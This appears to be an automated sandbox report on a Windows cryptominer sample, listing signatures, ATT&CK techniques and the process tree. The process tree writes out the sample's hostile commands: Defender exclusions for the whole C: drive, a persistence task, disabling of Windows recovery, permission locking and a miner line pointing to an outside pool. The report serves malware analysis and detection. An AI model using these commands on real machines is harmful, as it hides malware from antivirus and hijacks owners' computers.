Analysis
- max time kernel
149s - max time network
156s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
14/10/2026, 13:59
General
- Target 2026-10-14_b39a69de9f6dca39a08b796df516d188_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
- Size 401KB
- Sample261014-raphmssz6j
- SHA256 ff6427ea6629652fe86adfb4a07c8a61817b3afba91c237a35d59314a0dae7ef
Malware Config
Signatures
- Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- Looks for VirtualBox Guest Additions in registry 2 TTPs 3 IoCs
- XMRig Miner payload 12 IoCs
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Looks for VMWare Tools registry key 2 TTPs 3 IoCs
- Possible privilege escalation attempt 3 IoCs
- Executes dropped EXE 3 IoCs
- Modifies file permissions 1 TTPs 3 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
- Looks up external IP address via web service 1 TTPs 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Power Settings 1 TTPs 7 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
- Drops file in System32 directory 3 IoCs
- Suspicious use of SetThreadContext 1 IoCs
- Drops file in Windows directory 5 IoCs
- Executes a command shell one-liner 1 TTPs 5 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
- System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
- Runs ping.exe 1 TTPs 1 IoCs
- Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 36 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 22 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-10-14_b39a69de9f6dca39a08b796df516d188_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe"C:\Users\Admin\AppData\Local\Temp\2026-10-14_b39a69de9f6dca39a08b796df516d188_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe"1⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Drops file in Windows directory
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionProcess 'powershell.exe'"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionProcess 'cmd.exe'; Add-MpPreference -ExclusionPath 'C:\'"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionProcess 'WinTemp-v4.exe'; Add-MpPreference -ExclusionProcess 'Win-v42.exe'; Add-MpPreference -ExclusionProcess 'Win-v43.exe'"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /Create /TN "v4" /TR "C:\Windows\System32\Win-v42.exe" /SC ONLOGON /RL HIGHEST /F2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /C reagentc /disable2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\ReAgentc.exereagentc /disable3⤵
- Drops file in System32 directory
- Drops file in Windows directory
-
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /C takeown /F "%SystemRoot%\System32\reagentc.exe"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\takeown.exetakeown /F "C:\Windows\System32\reagentc.exe"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /C icacls "%SystemRoot%\System32\reagentc.exe" /grant Administrators:F2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\reagentc.exe" /grant Administrators:F3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /C icacls "%SystemRoot%\System32\reagentc.exe" /deny Everyone:RX2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\reagentc.exe" /deny Everyone:RX3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
-
C:\Windows\SYSTEM32\powercfg.exepowercfg /change monitor-timeout-ac 02⤵
- Power Settings
-
-
C:\Windows\SYSTEM32\powercfg.exepowercfg /change monitor-timeout-dc 02⤵
- Power Settings
-
-
C:\Windows\SYSTEM32\powercfg.exepowercfg /change standby-timeout-ac 02⤵
- Power Settings
-
-
C:\Windows\SYSTEM32\powercfg.exepowercfg /change standby-timeout-dc 02⤵
- Power Settings
-
-
C:\Windows\SYSTEM32\powercfg.exepowercfg /change hibernate-timeout-ac 02⤵
- Power Settings
-
-
C:\Windows\SYSTEM32\powercfg.exepowercfg /change hibernate-timeout-dc 02⤵
- Power Settings
-
-
C:\Windows\SYSTEM32\powercfg.exepowercfg /hibernate off2⤵
- Power Settings
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c ping -n 1 -w 1000 8.8.8.8 > nul2⤵
- Executes a command shell one-liner
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\PING.EXEping -n 1 -w 1000 8.8.8.83⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe --algo rx/0 --url 77.73.20.192:3333 --user 439RTMrajyhLb4cLK4YDejMx4rp8b5VDR4YX4auqWGbgUBj1c4wVbvc69bVUmJuJ8rXWwCU7LAGL9MkFaMwDwXjo6FrM5Y3/x -p x -k --cpu-max-threads-hint=902⤵
- Badlisted process makes network request
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of FindShellTrayWindow
-
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s BDESVC1⤵
-
C:\Windows\System32\Win-v42.exeC:\Windows\System32\Win-v42.exe1⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\Win-v43.exeC:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\Win-v43.exe1⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k GPSvcGroup1⤵
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Power Settings
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
File and Directory Permissions Modification
2Windows File and Directory Permissions Modification
1Modify Registry
1Virtualization/Sandbox Evasion
2Replay Monitor
Loading Replay Monitor...
Downloads
Win-v43.exe
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
__PSScriptPolicyTest_xvzwxxbq.uls.psm1
memory/1864-70-0x00007FF85DBF0000-0x00007FF85E594000-memory.dmp
memory/1864-48-0x00007FF85DBF0000-0x00007FF85E594000-memory.dmp
memory/1864-33-0x00007FF85DBF0000-0x00007FF85E594000-memory.dmp
memory/1864-31-0x00007FF85DBF0000-0x00007FF85E594000-memory.dmp
memory/4244-13-0x00007FF85DBF0000-0x00007FF85E594000-memory.dmp
memory/4244-6-0x00007FF85DBF0000-0x00007FF85E594000-memory.dmp
memory/4244-14-0x00007FF85DBF0000-0x00007FF85E594000-memory.dmp
memory/4244-15-0x00007FF85DBF0000-0x00007FF85E594000-memory.dmp
memory/4244-16-0x00007FF85DBF0000-0x00007FF85E594000-memory.dmp
memory/4244-17-0x00007FF85DBF0000-0x00007FF85E594000-memory.dmp
memory/4244-18-0x00007FF85DBF0000-0x00007FF85E594000-memory.dmp
memory/4244-19-0x00007FF85DBF0000-0x00007FF85E594000-memory.dmp
memory/4244-20-0x00007FF85DBF0000-0x00007FF85E594000-memory.dmp
memory/4244-21-0x00007FF85DBF0000-0x00007FF85E594000-memory.dmp
memory/4244-22-0x00007FF85DBF0000-0x00007FF85E594000-memory.dmp
memory/4244-24-0x00007FF85DBF0000-0x00007FF85E594000-memory.dmp
memory/4244-25-0x000001EEEC0D9000-0x000001EEEC0DF000-memory.dmp
memory/4244-12-0x000001EED3E80000-0x000001EED3E8A000-memory.dmp
memory/4244-11-0x00007FF85DBF0000-0x00007FF85E594000-memory.dmp
memory/4244-10-0x000001EEEC0E0000-0x000001EEEC192000-memory.dmp
memory/4244-9-0x000001EED3E60000-0x000001EED3E7E000-memory.dmp
memory/4244-0-0x00007FF85DD7F000-0x00007FF85DD80000-memory.dmp
memory/4244-5-0x00007FF85DBF0000-0x00007FF85E594000-memory.dmp
memory/4244-4-0x000001EED3DE0000-0x000001EED3E02000-memory.dmp
memory/4244-1-0x00007FF85DBF0000-0x00007FF85E594000-memory.dmp
memory/5428-78-0x00007FF65D450000-0x00007FF65DD13000-memory.dmp
memory/5428-71-0x00007FF65D450000-0x00007FF65DD13000-memory.dmp
memory/5428-72-0x00007FF65D450000-0x00007FF65DD13000-memory.dmp
memory/5428-73-0x00007FF65D450000-0x00007FF65DD13000-memory.dmp
memory/5428-74-0x00007FF65D450000-0x00007FF65DD13000-memory.dmp
memory/5428-75-0x00007FF65D450000-0x00007FF65DD13000-memory.dmp
memory/5428-69-0x00000219E1F80000-0x00000219E1FA0000-memory.dmp
memory/5428-79-0x00007FF65D450000-0x00007FF65DD13000-memory.dmp
memory/5428-80-0x00007FF65D450000-0x00007FF65DD13000-memory.dmp
memory/5428-81-0x00007FF65D450000-0x00007FF65DD13000-memory.dmp
memory/5428-82-0x00007FF65D450000-0x00007FF65DD13000-memory.dmp
memory/5428-83-0x00007FF65D450000-0x00007FF65DD13000-memory.dmp
memory/5428-84-0x00007FF65D450000-0x00007FF65DD13000-memory.dmp